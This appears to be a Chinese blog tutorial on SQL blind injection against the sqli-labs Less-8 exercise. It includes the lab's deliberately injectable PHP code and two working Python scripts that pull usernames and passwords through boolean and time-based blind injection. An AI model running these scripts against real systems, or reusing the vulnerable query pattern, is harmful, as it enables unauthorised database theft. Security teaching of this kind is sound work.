<img src="https://ww2.sinaimg.cn/large/9150e4e5ly1fsq7wc1wmlj20g40g4aad.jpg" alt="" /></p>
<p>对于SQL注入还不理解的朋友可以参看之前的文章《<a href="https://blog.dyboy.cn/websecurity/34.html" target="_blank" rel="noopener">SQL注入基础</a>》,本文章主要讲SQL盲注。</p>
<h1>0x00 盲注简介：</h1>
<p>顾名思义，像盲人一样注入（什么鬼解释…），通俗来说，当我们发现有SQL注入时，确不能得到SQL查询的数据回显，除了之前的写文件方式，还有就是盲注了，盲注就是通过服务器返回的状态等各种因素来猜测，最终组合得到哦我们想要的数据。</p>
<h1>0x01 盲注必须知识：</h1>
<p>SQL盲注中常用的几个内置函数，了解一下~</p>
<pre class="lang:default decode:true ">length(str)：返回str字符串的长度。
substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
mid(str,pos,len):跟上面的一样，截取字符串
ascii(str)：返回字符串str的最左面字符的ASCII代码值。
asc();同上
ord(str):同上，返回ascii码
if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1&gt;2,1,0),返回0</pre>
<p>&nbsp;</p>
<h1>0x02 基于网页特征的Bool盲注：</h1>
<p>这里还是基于Sqli平台吧，这货花样多~</p>
<p>先以最简单的 Less-8 这个单引号Bool盲注的题</p>
<p>分析源码:</p>
<pre class="lang:default decode:true ">&lt;?php
//和原文件有删减，为了更好的阅读效果
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0); //不报错

if(isset($_GET['id']))    //如果有参数id传入
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)    //如果查到数据就执行如下
    {
      echo '&lt;font size="5" color="#FFFF00"&gt;';    
      echo 'You are in...........';
      echo "&lt;br&gt;";
        echo "&lt;/font&gt;";
      }
    else     //否则执行这个     从两者返回的网页结构不一样，就可以作为我们盲注条件判断的依据
    {

    echo '&lt;font size="5" color="#FFFF00"&gt;';
    echo "&lt;/br&gt;&lt;/font&gt;";
    echo '&lt;font color= "#0000ff" font size= 3&gt;';

    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?&gt;</pre>
<p>&nbsp;</p>
<p>根据服务器返回的不同网页结构来判断当前的SQL注入的关键词是否正确，一个有 <strong>You</strong> 单词，可根据这一特征。</p>
<p>构造这样的语句，返回<strong>if(true)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png" width="1247" height="354" /></a></p>
<p>不满足，返回<strong>if(false)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png" width="1249" height="347" /></a></p>
<p>下面就写一个简单的<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>来具体解释：</p>
<pre class="lang:default decode:true "># name：SQL bind
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL盲注学习脚本参考

import requests
import re


req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}


#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=97+%23
#注入参考语句2： id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=ascii("a")+%23
username = "username:"
password = "password:"


#得到usernmae
for i in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            username = username + key
            print(username)


#得到password    
for j in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+password+from+users+limit+0,1),"+str(j)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果如下：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png" width="1353" height="733" /></a></p>
<p>这个脚本就是基于网页特征来判定的，下面看看时间盲注的脚本怎么写！</p>
<p>0x03 延时注入：<br />
当一个网页返回的数据根本没变化，报错也不管用，时间盲注就可以上线了！</p>
<p>先看一个SQL语句：</p>
<pre class="lang:default decode:true ">if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)</pre>
<p>&nbsp;</p>
<p>这个SQL语句执行的效果就是，如果if语句成立那么就服务器延时 3s 后返回网页给客户端，否则正常时间返回网页。通过这样一个条件，我们就可以进行时间盲注了。</p>
<p>时间盲注脚本如下：</p>
<pre class="lang:default decode:true "># name：SQL time bind injection
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL时间盲注学习脚本参考


import requests
import time

req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}

#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.&lt;&gt;?/;!$#{}-'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)+%23

username = "username:"
password = "password:"

#得到username
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            username = username + key
            print(username)


#得到password
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+password+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png" width="999" height="754" /></a></p>
<p>没错，时间盲注就是将判断条件改成了时间，时间盲注往往有更广泛的用途~</p>
<p>0x04 总结<br />
没错，就是这么简单！欢迎各位来探讨技术~</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
